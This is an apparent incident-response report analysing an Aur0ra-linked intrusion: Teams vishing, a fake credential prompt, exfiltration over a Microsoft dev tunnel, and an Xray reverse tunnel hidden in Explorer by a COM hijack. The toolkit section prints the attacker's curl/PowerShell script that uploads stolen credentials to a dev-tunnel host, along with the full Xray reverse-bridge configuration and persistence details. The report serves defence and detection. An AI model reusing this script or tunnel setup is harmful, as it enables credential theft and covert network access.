Aur0ra – An Xray Reverse Tunnel Hidden Inside Explorer After a Teams Vishing Call

Executive Summary

In September 2026, Hexastrike responded to a social-engineering intrusion at a German manufacturing group that we attribute with high confidence to the Aur0ra ransomware group or one of its affiliates. After a wave of unsolicited email, an external Microsoft Teams account using the name of a real colleague offered employees help from “IT support”. One employee downloaded AnyDesk and accepted the caller’s connection. In just under twelve minutes of remote control, the operator captured the employee’s domain password with a fake security prompt, sent it out together with a network inventory of the workstation and installed a reverse tunnel that outlived the session.

The tunnel is the open-source proxy Xray-core compiled into a DLL. A hijacked COM registration in the user’s profile makes Windows Explorer load it at every logon, and its traffic poses as Chrome talking TLS to Google, which the firewall accepted. The operator’s first attempt, a renamed Xray executable started through a Run value, had failed at the web proxy’s authentication. The DLL needed no download, because it came with the toolkit archive that the operator had fetched with Windows’ built-in curl through a firewall rule that bypassed the proxy.

The intrusion did not progress beyond this foothold. The endpoint protection logged the DLL loading into Explorer twice but was set to monitor only, and the tunnel ran for about three hours in total until the laptop was isolated the next morning. Publicly documented Aur0ra intrusions reached extortion within about two weeks on average, which makes a foothold like this the first stage of a ransomware attack. This post walks through the session, explains how the implant persists and hides and why we link it to Aur0ra, and names the controls and detections that would have stopped or exposed each step.

Key Findings

• Email bombing preceded Microsoft Teams chats from an external tenant whose sender used the name of a real employee, and one employee started AnyDesk and handed the caller control of the workstation.
• A fake security prompt carrying the version information of a real antivirus vendor checked the employee’s domain password with LogonUser before saving it, and the password and a network inventory left through a Microsoft dev tunnel seconds later.
• The persistent implant is Xray-core built as a signed Go DLL that impersonates radcui.dll. A per-user COM hijack loads it into explorer.exe at every logon, and two files beside it decide whether the tunnel runs and which server it reaches.
• The tunnel is a VLESS reverse bridge with REALITY camouflage that presents dl.google.com and a Chrome fingerprint, which led the firewall to classify it as Google traffic and allow it.
• The first installer reproduces the design of a previously reported Aur0ra intrusion, while the DLL variant, its COM persistence, the harvester and the dev tunnel upload have not been described before. Further builds with new branding, three more tunnel servers, four more dev tunnels and a signing certificate issued in October surfaced between late July and November.
• Several controls recorded the attack without stopping it, among them AppLocker in audit mode, an endpoint protection rule set to monitor and Microsoft’s Teams impersonation detection, which fired after the session had ended.

Initial Access

Email Bombing and Teams Contact

The attack opened with a wave of unsolicited email to employees of the group, the usual first step of this approach, which leaves the targets looking for someone to make it stop. The flood consisted of sign-up confirmations from legitimate mailing services for newsletters in several languages that the employees had never subscribed to.

External Teams chats followed shortly afterwards. Each showed the display name of a real employee of the group and a sender address that combined that name with the company name at helpdesk-support-office-3[.]com, the custom domain of an external Microsoft 365 tenant. We found no sign that the colleague’s account had been compromised, and borrowing the name was enough. Hexastrike threat intelligence identified three sibling domains ending in -1, -2 and -4 that were registered together with the sender domain, and all four belong on a block list.

Microsoft’s Teams impersonation detection recognized that the external account posed as an employee and recorded the activity in the audit log, but only after the operator’s remote session had already ended, too late to interrupt the attack. The external domain also stayed open after the incident became known, and the tenant was still able to add another employee to an existing chat the following day, after the targeted employee’s password had been reset.

# Default mode: external access stays open to all domains except the blocked ones
$blocked = New-Object Collections.Generic.List[String]
$blocked.Add("helpdesk-support-office-1.com")
$blocked.Add("helpdesk-support-office-2.com")
$blocked.Add("helpdesk-support-office-3.com")
$blocked.Add("helpdesk-support-office-4.com")
Set-CsTenantFederationConfiguration -AllowedDomains (New-CsEdgeAllowAllKnownDomains) -BlockedDomains $blocked -BlockAllSubdomains $true

# Stricter: external chats only with named partner domains, every other domain is blocked
$partners = New-Object Collections.Generic.List[String]
$partners.Add("partner.example")
Set-CsTenantFederationConfiguration -AllowedDomainsAsAList $partners

AnyDesk Session

Within minutes of the first Teams call, the employee searched for AnyDesk and downloaded it from the vendor’s site. The web proxy filed the download under its “Remote Access” category and let it through, because no rule blocked that category at the time.

[14/Sep/2026:13:59:10 +0200] "" <client> 200 "GET https://download.anydesk.com/AnyDesk.exe HTTP/2.0" "Remote Access" "Minimal Risk" "application/octet-stream" 8375224 "" "" "0"

The employee opened the file straight from the browser. Edge marks a download as opened only when it is started from the browser itself, and its history records exactly that for AnyDesk.exe, a little over a second after the download completed. Another second later AnyDesk created its configuration folder under the user’s roaming AppData instead of ProgramData, which shows that it ran portably with the employee’s ordinary rights, without installation or service.

The operator’s connection was accepted about a minute and a half after AnyDesk started. AnyDesk first tried to reach the other side directly on its port 7070, and the firewall’s default rule rejected all ten attempts, so the session fell back to AnyDesk’s relay servers and ran through the proxy instead. It lasted until the employee shut the computer down just under twelve minutes later. Anything visible on the screen during the session, including open mail and documents, therefore has to be treated as seen.

date=2026-09-14 time=13:59:56 tz="+0200" srcip=<client> dstip=82.41.181[.]45 dstport=7070 action="deny" policyid=0 service="tcp-high-ports" sentbyte=0 rcvdbyte=0
date=2026-09-14 time=13:59:57 tz="+0200" srcip=<client> dstip=82.41.181[.]45 dstport=7070 action="deny" policyid=0 service="tcp-high-ports" sentbyte=0 rcvdbyte=0
[... seven further denies ...]
date=2026-09-14 time=14:01:15 tz="+0200" srcip=<client> dstip=82.41.181[.]45 dstport=7070 action="deny" policyid=0 service="tcp-high-ports" sentbyte=0 rcvdbyte=0
date=2026-09-14 time=14:12:35 tz="+0200" srcip=<client> dstip=<proxy> dstport=3128 action="client-rst" service="SQUID" duration=797 sentbyte=37580059 rcvdbyte=984224

Toolkit and Credential Theft

Once connected, the operator looked around the workstation by hand and then brought in a toolkit that captured the password and the network layout and sent both out. The operator deleted the toolkit folder before the session ended, and its steps are reconstructed from Windows logs and the NTFS change journal. The scripts come from a second copy of the toolkit that we recovered and decrypted. It uses PolicyMgr instead of EdgeShield for its folder and file names, installs the implant in another folder and points its tunnel at a different server, but it uploads to the same dev tunnel. For the harvester, we analyzed the EdgeShield build, which carries the same version information as the copy on this workstation and was signed on the morning of the attack.

Reconnaissance and Toolkit Staging

The operator opened a PowerShell console about a minute into the session, and its history file, the first ever written for this user, survived complete. After a round of discovery commands, it ends with a line that switches .NET to TLS 1.2, the usual preparation for a download from PowerShell.

whoami
systeminfo
route print
ipconfig
tasklist
eventvwr
cmd.exe
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

The toolkit then arrived as SecurityCheck.zip. At the same moment, the firewall logged a six-second direct session from the workstation to a Dropbox content host that carried about 12.8 megabytes, and the System Resource Usage Monitor (SRUM) credits that volume to the curl.exe that ships with Windows. The session left through a general outbound rule that let clients reach the internet on ports 80 and 443 without the proxy, which is why this download succeeded while the operator’s later downloads through the proxy failed.

date=2026-09-14 time=14:04:03 tz="+0200" srcip=<client> dstip=162.125.66.15 dstport=443 hostname="uce335ab57daaa14730ec58df391[.]dl[.]dropboxusercontent[.]com" service="Dropbox-Web" policyname="rest 443/80 Application standard" duration=6 sentbyte=230358 rcvdbyte=12813635
# SRUM network usage (UTC)
Timestamp=2026-09-14 12:11:00 ExeInfo=\device\harddiskvolume4\windows\system32\curl.exe BytesReceived=12856036 BytesSent=259412

The archive unpacked into folders and scripts named like Windows updates, such as KBInstall2064 and install_KB92736369.ps1, and held batch and PowerShell scripts, the credential harvester Validate.exe, Sysinternals AD Explorer and a version.dll that later became the implant. AD Explorer was not used, as the workstation’s LDAP traffic stayed far below what a directory snapshot produces. AppLocker ran in audit mode and wrote event 8006 for every script it would have blocked under enforcement, which also preserves the order in which they ran.

Fake Security Prompt

The credential harvester Validate.exe poses as a security check. Its version information describes it as “EdgeShield security shield” and names the real antivirus vendor K7 Computing, and other builds of the harvester use the branding of Zoho’s ManageEngine, Todoist, FontLab, Egnyte, Flexera and Stardock, with the ManageEngine, Egnyte and Flexera builds asking for the password in German. Windows recorded the K7 branding when the employee started the program, which matches the build we analyzed.

Beneath decoy help text and junk routines that pad the binary, the harvester’s logic is short. If the employee enters only a user name, it takes the domain from the USERDOMAIN environment variable. It then checks the password with LogonUserW as an interactive logon against that domain and, if no domain was entered and that check fails, against the local machine. A wrong password produces an “Invalid credentials” message. A correct one switches the window to “Connecting to WebShield…” while the harvester writes DOMAIN\user:password to %APPDATA%\EdgeShield\edgeShield.log, so the operator receives only passwords that work.

The prompt is not the Windows credential dialog. The harvester draws its own window from a dialog template in memory, and credui.dll, the library behind the genuine Windows prompt, appears neither in its imports nor in its strings, so detections that look for unusual processes loading that library would have missed it. The validation, however, leaves a distinctive trace. A LogonUser call of this kind produces Security event 4624 with logon type 2, and on this workstation the event names Validate.exe in the toolkit folder as the requesting process, a combination that ordinary software practically never produces.

The harvester’s output folder held three files. The credential file is a single line in the format above, and the third file is the empty VPN table described in the next section. The network inventory lists every adapter with its name, MAC address, DHCP state, addresses, gateway and DNS servers, which on this workstation was enough to map the site’s wired and wireless client networks, its internal DNS servers and the Fortinet VPN client.

VPN Collection and Dev Tunnel Upload

Two more scripts ran right after the harvester. UpdateEnv searches the settings, profiles and logs of about a dozen VPN clients, among them Cisco Secure Client, FortiClient, GlobalProtect, SonicWall, OpenVPN and Zscaler, as well as the VPN connections built into Windows, for gateway addresses and user names. Among the locations it reads are these.

%LOCALAPPDATA%\Cisco\Cisco Secure Client\VPN\preferences.xml
C:\ProgramData\Cisco\Cisco Secure Client\VPN\Profile
C:\Program Files\SonicWall\SSL-VPN\NetExtender\connection.json
%APPDATA%\WatchGuard\Mobile VPN\wgsslvpnc.log
%APPDATA%\OpenVPN Connect\profiles
%APPDATA%\OpenVPN Connect\Local Storage\leveldb\LOG
C:\Program Files\OpenVPN\config
%LOCALAPPDATA%\FortiClient\logs\trace\fortitray.exe_sslvpnlib_*.log
%LOCALAPPDATA%\FortiClient\Local Storage\leveldb\LOG
%APPDATA%\F5 Networks\VPN\client.f5c
C:\ProgramData\Pulse Secure
C:\ProgramData\Zscaler
%LOCALAPPDATA%\Palo Alto Networks\GlobalProtect\PanGPA.log
%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk

Apart from the Cisco profiles, which it loads as XML, the script reads these files as plain text and picks out the fields it wants with regular expressions. For Zscaler it takes the organization’s domain and the user name from the client’s configuration files, and for OpenVPN Connect and FortiClient it searches the local storage of the clients’ interfaces for user names and server addresses.

The collector keeps every entry with a login or a public address and writes the result as a table to edgeShield.bkp in the harvester’s folder %APPDATA%\EdgeShield, which the recovered copy names %APPDATA%\PolicyMgr\policyMgr.bkp. It closes with the message “Check DONE. You can install fix.”, which fits the story the caller was telling. On this workstation the file contains nothing but a byte-order mark and a line break, which is what the script writes when it finds nothing to collect.

ValidateKB then sends the three files to a Microsoft dev tunnel. Its batch version posts each file with curl, adds a hard-coded Basic authorization header and an X-Filename header with the file name, and falls back to PowerShell’s Invoke-WebRequest if curl fails. Windows’ curl does not use the proxy settings that browsers follow, and like the toolkit download, the uploads went straight to the firewall.

@echo off
setlocal enabledelayedexpansion

set "URL=https://1l6xqzpp-7443[.]use[.]devtunnels[.]ms/"
set "AUTH=Basic <redacted>"
set "DIR=%APPDATA%\PolicyMgr"

for %%F in (policyMgr.log policyMgr.cfg policyMgr.bkp) do (
    if exist "%DIR%\%%F" (
        curl -s -X POST -H "Authorization: %AUTH%" -H "X-Filename: %%F" --data-binary @"%DIR%\%%F" %URL% >nul 2>&1
        if !errorlevel! equ 0 (
            echo [+] curl: %%F
        ) else (
            powershell -ep bypass -nop -c "try{$fs=[System.IO.File]::Open('%DIR%\%%F','Open','Read','ReadWrite');$b=New-Object byte[] $fs.Length;[void]$fs.Read($b,0,$fs.Length);$fs.Close();Invoke-WebRequest -UseBasicParsing -Method POST -Uri '%URL%' -Headers @{'Authorization'='%AUTH%';'X-Filename'='%%F'} -Body $b -ContentType 'application/octet-stream'|Out-Null;Write-Host '[+] psh: %%F'}catch{Write-Host '[-] LOCKED: %%F'}"
        )
    ) else (
        echo [-] not found: %%F
    )
)

endlocal

Dev tunnels are a Microsoft service for developers who want to test a local web service from the internet. A command-line tool or Visual Studio signs in with a Microsoft or GitHub account and publishes a local port under an address of the form <tunnel>-<port>.<region>.devtunnels.ms. The address in this toolkit publishes port 7443 of a machine under the operator’s control through Microsoft’s relay in the US East region. The operator needs no server of their own, the victim connects to a Microsoft address with a valid Microsoft certificate, and filters that trust Microsoft let the traffic pass, as a rule for trusted Microsoft services did here. Within a second of ValidateKB.bat starting, the firewall logged three short TLS sessions to that host. The middle one was about 1.2 kilobytes larger than the other two, which matches the network inventory sent between the much smaller credential file and the empty VPN table. The password and the inventory left the company seconds after they were captured.

date=2026-09-14 time=14:06:32 tz="+0200" srcip=<client> dstip=20.120.56.11 dstport=443 hostname="1l6xqzpp-7443[.]use[.]devtunnels[.]ms" policyname="Trusted -> ISDB MS" app="SSL_TLSv1.3" duration=2 sentbyte=1871 rcvdbyte=9920
date=2026-09-14 time=14:06:33 tz="+0200" srcip=<client> dstip=20.120.56.11 dstport=443 hostname="1l6xqzpp-7443[.]use[.]devtunnels[.]ms" policyname="Trusted -> ISDB MS" app="SSL_TLSv1.3" duration=2 sentbyte=3007 rcvdbyte=9920
date=2026-09-14 time=14:06:34 tz="+0200" srcip=<client> dstip=20.120.56.11 dstport=443 hostname="1l6xqzpp-7443[.]use[.]devtunnels[.]ms" policyname="Trusted -> ISDB MS" app="SSL_TLSv1.3" duration=1 sentbyte=1732 rcvdbyte=10025

The Xray Implant

With the password and the inventory gone, the operator wanted a way back into the network that no longer depended on the employee. It tried two installers, and the difference between them decided which implant ended up running.

Two Installers

The first installer, install_KB92736369.ps1, survives in full because PowerShell logged it automatically as a suspicious script block. It downloads Xray from Dropbox or one of two CloudFront mirrors, installs the executable as SystemBrokerAgent.exe under %LOCALAPPDATA%\Microsoft\SystemBroker\Agent, backdates it by a random 90 to 460 days and registers a hidden relauncher script under a Run value. Both installers take a host number that becomes the bridge’s name on the operator’s server. The operator gave this one the number 8 and the second installer the number 6, so the implant that ran registered as h6.tunnel.

The download uses .NET’s WebClient, which sends neither a user agent nor the user’s credentials to an authenticating proxy. The proxy answered the requests for all three sources with status 407 and the script gave up. The operator ran it a second time with the same result, and only an empty folder remained.

[14/Sep/2026:14:07:19 +0200] "" <client> 407 "CONNECT www.dropbox.com:443 HTTP/1.1" "" "-" "" 0 "" "" "81"
[14/Sep/2026:14:07:19 +0200] "" <client> 407 "CONNECT d2hvq6y0ldmm9s[.]cloudfront[.]net:443 HTTP/1.1" "" "-" "" 0 "" "" "81"
[14/Sep/2026:14:07:19 +0200] "" <client> 407 "CONNECT d5hkgtqjxqnfo[.]cloudfront[.]net:443 HTTP/1.1" "" "-" "" 0 "" "" "81"
[14/Sep/2026:14:09:17 +0200] "" <client> 407 "CONNECT www.dropbox.com:443 HTTP/1.1" "" "-" "" 0 "" "" "81"
[14/Sep/2026:14:09:17 +0200] "" <client> 407 "CONNECT d2hvq6y0ldmm9s[.]cloudfront[.]net:443 HTTP/1.1" "" "-" "" 0 "" "" "81"
[14/Sep/2026:14:09:17 +0200] "" <client> 407 "CONNECT d5hkgtqjxqnfo[.]cloudfront[.]net:443 HTTP/1.1" "" "-" "" 0 "" "" "81"

The second installer did not need the network. KB85809588.bat is a polyglot, a file that is valid in two languages at once, with each interpreter reading only the part meant for it. Its first lines are an ordinary batch script that checks the host number, starts PowerShell and then deletes itself, and the PowerShell code follows a #PS-BEGIN marker that cmd.exe never reaches.

The launcher line reads the batch file, cuts off everything up to the marker and passes the rest to Invoke-Expression. Although process auditing was off, the classic Windows PowerShell log recorded this command line in full.

The PowerShell part then copied the host’s genuine wkspbroker.exe from System32 and the toolkit’s version.dll, renamed to radcui.dll, into %LOCALAPPDATA%\Microsoft\RemoteApp\Gateway, wrote config.json and a one-line comsrv.dat beside them and started the broker. The operator then deleted the toolkit folder, leaving only the harvester output and the implant.

This installer backdated both binaries more carefully than the first. It gave the copied broker the modification time of the System32 original and the DLL the same time plus three seconds, and it then registered the per-user COM class described in the next section.

On this host that time came from the cumulative update installed in August, which lets the implant blend in with thousands of genuine system files from that update. Only the $FILE_NAME timestamps in the Master File Table, which this kind of backdating leaves untouched, keep the real installation time.

ParentPath                                                FileName        Created0x10                  LastModified0x10             Created0x30
.\Windows\System32                                        wkspbroker.exe  2026-08-19 08:15:26.6577106  2026-08-19 08:15:26.6797890
.\Users\<user>\AppData\Local\Microsoft\RemoteApp\Gateway  wkspbroker.exe  2026-08-19 08:15:26.6797890  2026-08-19 08:15:26.6797890  2026-09-14 12:08:04.4905479
.\Users\<user>\AppData\Local\Microsoft\RemoteApp\Gateway  radcui.dll      2026-08-19 08:15:29.6797890  2026-08-19 08:15:29.6797890  2026-09-14 12:08:04.4935545

Side-Loading and COM Hijack

The DLL is a Go build of Xray-core 26.3.27 of about 31 megabytes, roughly eighty times the size of the genuine radcui.dll it imitates. It exports the four functions of the genuine library plus the two registration functions of a COM server, carries the internal name version.dll and is signed with a certificate issued to YOUR CHANCE j.d.o.o in Zagreb by SSL.com. The signature was applied a few hours before the attack, and eight related wrapper builds carry this certificate, a second one issued to the same company or certificates issued to three other companies.

The attacker’s own code is a small wrapper around the Xray library. It forwards calls to the four genuine exports to the real radcui.dll in System32 and COM requests to the System32 library named in comsrv.dat, here shell32.dll, with directmanipulation.dll as the built-in default, which keeps the program that loads it working. Half a second after loading, a background routine takes the mutex Local\5b37e1aa2f6e5394, derived from a key compiled into the build, reads config.json from the DLL’s folder and starts Xray. Every five seconds it checks that folder again. A changed config.json restarts the tunnel with the new settings, and a file named system.active stops it until the file is deleted, which the routine checks every thirty seconds. Anyone who can write to the folder can pause the tunnel or move it to another server without touching the signed DLL.

The DLL starts in two ways. The copied Workspace broker imports radcui.dll, and because Windows searches the application’s folder first, the broker loads the implant from the Gateway folder, which started the tunnel immediately. For later logons, the installer registered the class identifier {42aedc87-2188-41fd-b9a3-0c966feabec1} under HKCU\Software\Classes\CLSID with an InProcServer32 entry pointing to the implant. Machine-wide, this class belongs to a shell component that Explorer loads from windows.storage.dll at every logon, but Windows resolves per-user registrations first, so Explorer loads the implant instead. The hijack needs no administrator rights, creates no service or Run value and escapes autostart reviews that skip per-user COM registrations, while the mutex keeps the two routes from running two tunnels.

The endpoint protection saw both loads. Trellix Adaptive Threat Protection recorded explorer.exe loading radcui.dll from the user’s AppData folder at the first logon after the session and again the next morning, both times with the status “überwacht”, German for monitored. The information that an unknown DLL from a user profile was running inside Explorer was available within minutes of the installation, but the policy only observed it.

2026-09-14 12:14:31.346Z |Activity|Orchestrator |mfeatp |8888|14448|MLProtect |rp_native_scanner.cpp(1485) | Prozess mit Prozess-ID 15964 , Prozesspfad C:\Windows\explorer.exe , DLL-Dateipfad C:\Users\<user>\AppData\Local\Microsoft\RemoteApp\Gateway\radcui.dll wird durch den ML Protect-Cloud-Scanner überwacht
2026-09-15 06:18:54.702Z |Activity|Orchestrator |mfeatp |8608|14776|MLProtect |rp_native_scanner.cpp(1485) | Prozess mit Prozess-ID 16576 , Prozesspfad C:\Windows\explorer.exe , DLL-Dateipfad C:\Users\<user>\AppData\Local\Microsoft\RemoteApp\Gateway\radcui.dll wird durch den ML Protect-Cloud-Scanner überwacht

Reverse Bridge and Google Camouflage

The wrapper hands config.json to Xray unchanged, so this file alone decides what the tunnel does. It is short enough to show in full.

{"log":{"loglevel":"none"},
 "reverse":{"bridges":[{"tag":"bridge","domain":"h6.tunnel"}]},
 "outbounds":[{"tag":"tunnel","protocol":"vless",
   "settings":{"vnext":[{"address":"147.185.197[.]237","port":443,
     "users":[{"id":"<redacted>","encryption":"none"}]}]},
   "streamSettings":{"network":"tcp","security":"reality",
     "realitySettings":{"serverName":"dl.google.com","fingerprint":"chrome",
       "publicKey":"-uAZzBhajMAUYiU4zyQ9XNavlBRUBkvceKXa_rBdQjY",
       "shortId":"<redacted>"}}},
  {"tag":"direct","protocol":"freedom"}],
 "routing":{"rules":[
   {"type":"field","inboundTag":["bridge"],"domain":["full:h6.tunnel"],"outboundTag":"tunnel"},
   {"type":"field","inboundTag":["bridge"],"outboundTag":"direct"}]}}

The reverse block makes the workstation what Xray calls a bridge. Under the first routing rule, the bridge connects to a portal on the operator’s server through the tunnel outbound and identifies itself as h6.tunnel. The portal sends the operator’s connections back through that session, and the second rule hands everything arriving this way to the direct outbound and thus into the internal network. The operator could reach any internal system the workstation could reach, while the workstation never listened on a port and the firewall only saw an outbound connection. The security setting selects REALITY, Xray’s camouflage layer, which makes the handshake name dl.google.com and imitate Chrome. A REALITY server typically relays handshakes from clients without the right key to the real site, and a probe of the server therefore sees a genuine certificate. With logging set to none, the implant writes nothing about its activity.

To the perimeter, this looked like Chrome downloading from Google. The FortiGate firewall classified every session to the tunnel server as the application “Google.Services” and allowed it through the same general rule that had carried the toolkit download, again past the proxy. The server belongs to a small German hosting provider and had no public reputation at the time.

date=2026-09-14 time=14:08:07 tz="+0200" srcip=<client> dstip=147.185.197[.]237 dstport=443 dstcountry="Germany" hostname="dl.google.com" app="Google.Services" appcat="General.Interest" policyname="rest 443/80 Application standard" duration=1 sentbyte=1858 rcvdbyte=7540
date=2026-09-14 time=14:08:07 tz="+0200" srcip=<client> dstip=147.185.197[.]237 dstport=443 dstcountry="Germany" hostname="dl.google.com" app="Google.Services" appcat="General.Interest" policyname="rest 443/80 Application standard" duration=1 sentbyte=1858 rcvdbyte=7500
date=2026-09-14 time=14:08:07 tz="+0200" srcip=<client> dstip=147.185.197[.]237 dstport=443 dstcountry="Germany" hostname="dl.google.com" app="Google.Services" appcat="General.Interest" policyname="rest 443/80 Application standard" duration=1 sentbyte=1858 rcvdbyte=7541
[... 3,078 further sessions with the same classification ...]

The sessions followed a rhythm that no browser produces. From two seconds after the installation until the export ended, the implant opened a new connection about 75 times a minute, interrupted only while the laptop restarted. All 3,081 sessions in the export lasted a second or less and moved almost identical volumes of about 1.9 kilobytes out and 7.5 kilobytes in, roughly the size of a TLS handshake, and none of them carried operator traffic.

Tunnel Uptime and Scope

Altogether the tunnel was up for about three hours, from the installation until the employee switched the laptop off that afternoon and again for an hour the next morning, until the device was isolated after the password reset. Because the implant runs inside Explorer, SRUM records its traffic under explorer.exe, which on this workstation normally moved only kilobytes per hour. In every hour with the tunnel running, Explorer moved the same steady volume, and the data it received matches what the reconnect rhythm produces almost exactly. A transfer through the tunnel would stand out against that line, and none does.

Nothing else followed. We found no lateral movement, no directory queries and no internal destinations beyond an ordinary working day, and the audit log shows no sign-in with the stolen password and no new mailbox rules, forwarding or permissions on any contacted account.

Attribution

Hexastrike assesses with high confidence that the intrusion was carried out by Aur0ra or one of its affiliates. The strongest evidence is a second intrusion in which we observed the same techniques and the same indicators as here, and which ended with the deployment of Aur0ra ransomware. Aur0ra has operated as a double-extortion ransomware group since the end of April 2026, and an Aur0ra intrusion that was publicly reported in August 2026 also overlaps with this one in three points. Both began with email bombing and a fake IT helpdesk, both used an Xray-core tunnel with VLESS, REALITY, the server name dl.google.com and a Chrome fingerprint, and the reported installer placed a renamed, backdated Xray executable under AppData with a PowerShell relauncher carrying the configuration and a Run value, which is the design of the first installer here.

The public overlap alone would not carry that far, because a Google server name and a Chrome fingerprint are common REALITY choices and a toolkit can change hands, which is why the second intrusion weighs most. The tunnel server, the sender domains, the DLL variant with its COM hijack, the credential harvester and the upload over a dev tunnel appear in no public reporting. The second copy of the toolkit sends its harvest to the identical dev tunnel address, which belongs to a single account. Other builds upload to four further dev tunnels. An installer that surfaced four days before this intrusion is a simpler form of the first installer, without the backdating and with another server, and an October build with FontLab branding installs the implant under Microsoft\TerminalServices\Client, points it at a new server and presents github.githubassets.com instead of Google. The newest harvester surfaced in November, signed with a certificate issued in mid-October, which shows the toolkit still in use and still changing. In the same week as this intrusion, a different operator approached another German industrial group over Teams with a Python loader that shares nothing with this toolkit beyond the approach, which we describe in an upcoming post.

Conclusion

The operator needed a single remote session. Within twelve minutes it held a validated domain password, the network layout of the site and a tunnel into the internal network, and the password and inventory had already left through a Microsoft service. The implant has moved beyond what has been published about this toolkit. It runs inside Explorer without a process or command line of its own, the firewall labels its traffic as Google, its timestamps match the host’s last update and the files beside it decide when and where it connects, so detections built for a renamed Xray executable started with a configuration file would not have fired.

Several controls saw part of the attack and did not act on it. The proxy categorized AnyDesk correctly, AppLocker logged every script, Microsoft flagged the impersonation and the endpoint protection recorded the implant twice, while one firewall rule that let clients bypass the proxy carried both the toolkit download and the tunnel. The signals that will outlast the indicators below are structural, among them an interactive logon requested by a binary in AppData, a per-user COM registration that points into a profile, a server name that does not match its destination and an ordinary workstation uploading to a developer tunnel, and each of them would have exposed this intrusion on the day it happened.

MITRE ATT&CK

Indicators of Compromise

Note: First Seen and Last Seen values reflect Hexastrike’s observation window for each indicator and do not necessarily represent creation date, registration date, first malicious use, or the full period of operator control.